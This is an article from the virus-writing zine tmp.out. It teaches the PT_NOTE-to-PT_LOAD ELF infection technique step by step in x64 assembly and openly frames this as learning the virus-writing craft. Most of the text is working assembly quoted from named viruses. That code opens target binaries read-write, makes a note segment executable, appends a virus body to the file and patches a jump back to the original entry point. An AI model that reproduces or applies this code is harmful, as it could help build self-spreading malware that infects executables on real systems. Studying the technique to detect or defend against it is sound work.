                                                            ┌───────────────────────┐
                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                            │ █   █ █ █ █   █       │
                                                            │ █   █ █ █ █▀▀▀▀       │
                                                            │ █   █   █ █     ▄     │
                                                            │                 ▄▄▄▄▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄   ▄ │
                                                            │                 █   █ │
                                                            │                 █   █ │
                                                            │                 █▄▄▄█ │
                                                            │                 ▄▄▄▄▄ │
                                                            │                   █   │
Implementing the PT_NOTE Infection Method in x64 Assembly   │                   █   │
~ sblip and the tmp.out crew                                └───────────────────█ ──┘

In this first issue of tmp.out, we have supplied several examples of the
PT_NOTE->PT_LOAD infection algorithm, three in x64 asm and one in Rust. 
For those learning the craft I thought it useful to address implementing some of the 
specific steps in x64 assembly. In March 2019 while working on a golang rewrite of 
the backdoorfactory, I wrote a breakdown of implementing the algorithm in golang at 
the link below, for those interested in doing fun ELF things in golang:

  https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/

The algorithm for x64 is of course the same, however I will provide some code 
snippets below that I hope will be of help for the aspiring x64 assembly ELF 
programmer. 

We can use the same steps listed in the above article as a reference, though the
order things are done in may change based on the implementation. Some methods write 
a new file to disk and then copy over it, while others write to the file directly.

From the above link, a generic list of steps to implement the PT_NOTE->PT_LOAD 
infection algorithm:

  1. Open the ELF file to be injected
  2. Save the original entry point, e_entry
  3. Parse the program header table, looking for a PT_NOTE segment
  4. Convert the PT_NOTE segment to a PT_LOAD segment
  5. Change the memory protections for this segment to allow executable instructions
  6. Change the entry point address to an area that will not conflict with the 
     original program execution.
  7. Adjust the size on disk and virtual memory size to account for the size of the 
     injected code
  8. Point the offset of our converted segment to the end of the original binary, 
     where we will store the new code
  9. Patch the end of the code with instructions to jump to the original entry point
 10. Add our injected code to the end of the file
*11. Write the file back to disk, over the original file* -- we will not cover this 
     implementation variant here, which creates	a new temporary ELF binary on disk 
     and overwrites the host, as referenced above.

We will loosely follow the above steps, however the reader should keep in mind that 
some of them may be performed out of order (and some cannot be performed until others
have) - but in the end all the steps must be taken.

1. Open the ELF file to be injected:

The syscall getdents64() syscall is how we find files on 64 bit systems. The function
is defined as:

  int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

We will leave implementing getdents64() as an exercise for the reader - There are 
several examples of it in the code distributed with this publication, including in 
Midrashim, kropotkin, Eng3ls, and Bak0unin.

For the ELF historians, I wrote a terrible (and now entirely outdated) article 20 
years ago about doing this in 32-bit AT&T syntax, located here:

  https://tmpout.sh/papers/getdents.old.att.syntax.txt

Assuming we have called getdents64() and stored the directory entry struct on the 
stack, we can see from looking at it:

  struct linux_dirent {
      unsigned long  d_ino;     /* Inode number */
      unsigned long  d_off;     /* Offset to next linux_dirent */
      unsigned short d_reclen;  /* Length of this linux_dirent */
      char           d_name[];  /* Filename (null-terminated) */
                        /* length is actually (d_reclen - 2 -
                           offsetof(struct linux_dirent, d_name)) */
      /*
      char           pad;       // Zero padding byte
      char           d_type;    // File type (only since Linux
                                // 2.6.4); offset is (d_reclen - 1)
      */
  }

that the null terminated file name d_name is at the offset [rsp+18] or [rsp+0x12]

  d_ino is bytes 0-7              - unsigned long
  d_off is bytes 8-15             - unsigned long
  d_reclen is bytes 16-17         - unsigned short
  d_name starts on the 18th byte. - null terminated file name

for our call to open(), int open(const char *pathname, int flags, mode_t mode);

  - rax will hold the syscall number, 2
  - rdi will hold the file name d_name, in our case [rsp+18]
  - rsi will hold the flags, which could either be O_RDONLY (0) or O_RDWR (02), 
    depending on how our vx works
  - rdx would hold the mode, but we do not need this and will zero it out.

So the following code:

  mov rax, 2         ; open syscall
  mov rdi, [rsp+18]  ; d_name from the dirent struct that starts at the beginning 
                     ; of the stack
  mov rsi, 2         ; O_RDWR / Read and Write
  syscall

will return a file descriptor in rax if successful. If 0 or negative, an error has
occurred opening the file.

  cmp rax, 0
  jng file_open_error

or
  test rax, rax
  js file_open_error

2. Save the original entry point, e_entry:

In TMZ's Midrashim, he stores the original entry point in the r14 register for later
use, which he has copied onto the stack. The high registers r13, r14, and r15 are 
good places to store data/addresses for later use, as they are not clobbered by 
syscalls.

  ; Stack buffer:
  ; r15 + 0 = stack buffer (10000 bytes) = stat
  ; r15 + 48 = stat.st_size
  ; r15 + 144 = ehdr
  ; r15 + 148 = ehdr.class
  ; r15 + 152 = ehdr.pad
  ; r15 + 168 = ehdr.entry
  ---cut---
  
  mov r14, [r15 + 168]  ; storing target original ehdr.entry from [r15 + 168] in r14

3. Parse the program header table, looking for the PT_NOTE segment:

As you probably intuited from the name of this article, our goal is to convert a 
PT_NOTE segment into a loadable PT_LOAD segment, with rx (or rwx) permissions.
I would be remiss not to mention that this algorithm does not work 
"cookie-cutter-out-of-the box" for some binaries such as golang binaries, and any
binaries compiled with the -fcf-protection flag, without even more magical fuckery
that we haven't done (or seen) yet. Next zine content, Every0ne? 

Aside from the edge cases, the basic concept is simple - PT_LOAD segments are 
actually loaded into memory when an ELF binary is run - PT_NOTE segments are not.
However, if we change a PT_NOTE section to type PT_LOAD, and change the memory 
permissions to at least read and execute, we can put code that WE want to run there,
write our data to the end of the original file, and change the associated Program 
Header Table entry variables to facilitate loading it correctly.

We put a value in the virtual address field v_addr that is very high in memory, which
won't interfere with normal program execution. We then patch the original entry point
to jump to our new PT_LOAD segment code first, which does whatever it does, and then 
calls the original program code.

A 64-bit ELF Program Header Table entry has the following structure:

  typedef struct {
      uint32_t   p_type;   // 4 bytes
      uint32_t   p_flags;  // 4 bytes
      Elf64_Off  p_offset; // 8 bytes
      Elf64_Addr p_vaddr;  // 8 bytes
      Elf64_Addr p_paddr;  // 8 bytes
      uint64_t   p_filesz; // 8 bytes
      uint64_t   p_memsz;  // 8 bytes
      uint64_t   p_align;  // 8 bytes
  } Elf64_Phdr;


In this code snippet from kropotkin.s, we cycle through each program header table 
entry by loading the offset of the PHT into rbx, the number of PHT entries into ecx,
and reading the first 4 bytes at the beginning of the entry looking for a value of 4,
which is the number designated for segments of type PT_NOTE.  

parse_phdr:
  xor rcx, rcx                       ; zero out rcx
  xor rdx, rdx                       ; zero out rdx
  mov cx, word [rax+e_hdr.phnum]     ; rcx contains the number of entries in the PHT
  mov rbx, qword [rax+e_hdr.phoff]   ; rbx contains the offset of the PHT
  mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the PHT

  loop_phdr:
      add rbx, rdx                   ; for every iteration, add size of a PHT entry
      dec rcx                        ; decrease phnum until we've iterated through 
                                     ; all program headers or found a PT_NOTE segment
      cmp dword [rax+rbx+e_phdr.type], 0x4  ; if 4, we have found a PT_NOTE segment,
                                            ; and head off to infect it
      je pt_note_found
      cmp rcx, 0
      jg loop_phdr
      ...
      ...
  pt_note_found:

4. Convert the PT_NOTE segment to a PT_LOAD segment:

To convert a PT_NOTE segment into a PT_LOAD segment, we must change a few values in
the Program Header Table entry that describes the segment.

Note that 32-bit ELF binaries have a different PHT entry structure, with the p_flags
value as the 7th entry in the struct, as opposed to being the 2nd entry in its 64-bit
counterpart.

  typedef struct {
      uint32_t   p_type;  <-- Change this value to PT_LOAD == 1
      uint32_t   p_flags; <-- Change to at least Read+Execute permissions
      Elf64_Off  p_offset;
      Elf64_Addr p_vaddr; <-- very high virtual addr where the segment will be loaded
      Elf64_Addr p_paddr;
      uint64_t   p_filesz;
      uint64_t   p_memsz;
      uint64_t   p_align;
  } Elf64_Phdr;

First, the p_type must be changed from PT_NOTE, which is 4, to PT_LOAD, which is 1.

Second, the p_flags must be changed to, at the very least, allow Read and Execute 
access. This is a standard bitmask just like unix file permissions, with

  PF_X == 1
  PF_W == 2
  PF_R == 4

In fasm syntax, as seen below, this is done simply by typing "PF_R or PF_X"

Third, we need to choose an address for the new virus data to be loaded. A common 
technique is to pick a very high address, 0xc000000, that is unlikely to overlap 
with an existing segment. We add this to the stat.st_size file size, which in the
below case has been retrieved from r15+48 and stored in r13, to which we then add
0xc000000. We then store this value in p_vaddr.

From TMZ's Midrashim:

  .patch_phdr:
    mov dword [r15 + 208], PT_LOAD              ; change phdr type in [r15 + 208] 
                                                ;  from PT_NOTE to PT_LOAD (1)
    mov dword [r15 + 212], PF_R or PF_X         ; change phdr.flags in [r15 + 212] 
                                                ;  to PF_X (1) | PF_R (4)
    pop rax                                     ; restore target EOF offset into rax
    mov [r15 + 216], rax                        ; phdr.offset [r15 + 216] = target 
                                                ;  EOF offset
    mov r13, [r15 + 48]                         ; storing target stat.st_size from 
                                                ;  [r15 + 48] in r13
    add r13, 0xc000000                          ; add 0xc000000 to target file size
    mov [r15 + 224], r13                        ; changing phdr.vaddr in [r15 + 224]
                                                ;  to new one in r13 
                                                ;  (stat.st_size + 0xc000000)
    mov qword [r15 + 256], 0x200000             ; set phdr.align [r15 + 256] to 2mb
    add qword [r15 + 240], v_stop - v_start + 5 ; add virus size to phdr.filesz in 
                                                ;  [r15 + 240] + 5 for the jmp to 
                                                ;  original ehdr.entry
    add qword [r15 + 248], v_stop - v_start + 5 ; add virus size to phdr.memsz in 
                                                ;  [r15 + 248] + 5 for the jmp to 
                                                ;  original ehdr.entry

5. Change the memory protections for this segment to allow executable instructions:

    mov dword [r15 + 212], PF_R or PF_X         ; change phdr.flags in [r15 + 212] 
                                                ;  to PF_X (1) | PF_R (4)

6. Change the entry point address to an area that will not conflict with the original
   program execution. We'll use 0xc000000. Pick an address that will be sufficiently
   high enough in virtual memory that when loaded it does not overlap other code.

    mov r13, [r15 + 48]     ; storing target stat.st_size from [r15 + 48] in r13
    add r13, 0xc000000      ; adding 0xc000000 to target file size
    mov [r15 + 224], r13    ; changing phdr.vaddr in [r15 + 224] to new one in r13 
                            ;  (stat.st_size + 0xc000000)

7. Adjust the size on disk and virtual memory size to account for the size of the 
   injected code

    add qword [r15 + 240], v_stop - v_start + 5  ; add virus size to phdr.filesz in
                                                 ;  [r15 + 240] + 5 for the jmp to 
                                                 ;  original ehdr.entry
    add qword [r15 + 248], v_stop - v_start + 5  ; add virus size to phdr.memsz in
                                                 ;  [r15 + 248] + 5 for the jmp to
                                                 ;  original ehdr.entry

8. Point the offset of our converted segment to the end of the original binary, 
   where we will store the new code:

   Previously in Midrashim, this code was executed:
    
    mov rdx, SEEK_END
    mov rax, SYS_LSEEK
    syscall                ; getting target EOF offset in rax
    push rax               ; saving target EOF

   In .patch_phdr, we use this value as the location for storing our new code:

    pop rax                ; restoring target EOF offset into rax
    mov [r15 + 216], rax   ; phdr.offset [r15 + 216] = target EOF offset


9. Patch the end of the code with instructions to jump to the original entry point:

   Example #1, from Midrashim, using algorithm from Binjection:

    .write_patched_jmp:
      ; getting target new EOF
      mov rdi, r9            ; r9 contains fd
      mov rsi, 0             ; seek offset 0
      mov rdx, SEEK_END      ; start at the end of the file
      mov rax, SYS_LSEEK     ; lseek syscall
      syscall                ; getting target EOF offset in rax

      ; creating patched jmp
      mov rdx, [r15 + 224]         ; rdx = phdr.vaddr
      add rdx, 5                   ; the size of a jmp instruction
      sub r14, rdx                 ; subtract the size of the jump from our stored
                                   ;  e_entry from step #2 (saving e_entry)
      sub r14, v_stop - v_start    ; subtract the size of the virus code itself
      mov byte [r15 + 300 ], 0xe9  ; first byte of the jump instructions
      mov dword [r15 + 301], r14d  ; new address to jump to, updated by subtracting
                                 ;  virus size and size of jmp instruction

   Example #2, from sblip/s01den vx's, using elfmaster's EOP technique:

    Explaining this method is beyond the scope of this document - for reference:

      https://n0.lol/TMPOUT_VOL1_DRAFT/11.html

   The code from kropotkin.s:
   
       mov rcx, r15                    ; saved rsp
       add rcx, VXSIZE
       mov dword [rcx], 0xffffeee8     ; relative call to get_eip
       mov dword [rcx+4], 0x0d2d48ff   ; sub rax, (VXSIZE+5)
       mov byte  [rcx+8], 0x00000005 
       mov word  [rcx+11], 0x0002d48
       mov qword [rcx+13], r9          ; sub rax, entry0  
       mov word  [rcx+17], 0x0000548
       mov qword [rcx+19], r12         ; add rax, sym._start
       mov dword [rcx+23], 0xfff4894c  ; movabs rsp, r14
       mov word  [rcx+27], 0x00e0      ; jmp rax

10. Add our injected code to the end of the file:

From Midrashim:

  We are adding our code directly to the end of the file, and pointing the new 
  PT_LOAD address at it.  First we seek to the end of the file using the lseek
  syscall to go to the end of the file whose file descriptor is held in the 
  register r9. Calling .delta pushes the address of the next instruction on to
  the top of the stack, in this case 'pop rbp'. Popping this instruction and 
  then subtracting .delta will give you the memory address of the virus during 
  runtime, which is used when reading/copying the virus code below where you 
  see 'lea rsi, [rbp + v_start]' - providing a starting location for reading 
  bytes to be written, with the number of bytes to be written is put in rdx 
  before the call to pwrite64().

  .append_virus:
    ; getting target EOF
    mov rdi, r9               ; r9 contains fd
    mov rsi, 0                ; seek offset 0
    mov rdx, SEEK_END         ; start at the end of the file
    mov rax, SYS_LSEEK        ; lseek syscall
    syscall                   ; getting target EOF offset in rax
    push rax                  ; saving target EOF

    call .delta               ; the age old trick
    .delta:
        pop rbp
        sub rbp, .delta

    ; writing virus body to EOF
    mov rdi, r9               ; r9 contains fd
    lea rsi, [rbp + v_start]  ; loading v_start address in rsi
    mov rdx, v_stop - v_start ; virus size
    mov r10, rax              ; rax contains target EOF offset from previous syscall
    mov rax, SYS_PWRITE64     ; syscall #18, pwrite()
    syscall

The PT_NOTE infection algorithm has the benefit of being fairly easy to learn, as
well as being very versatile. It can be combined with other techniques and any manner
of data may be stored in a converted PT_LOAD segment, including symbol tables, raw 
data, code for a DT_NEEDED object, or even an entirely separate ELF binary. I hope 
this article proves useful to anyone learning x64 assembly language for the purposes
of playing with ELF binaries.
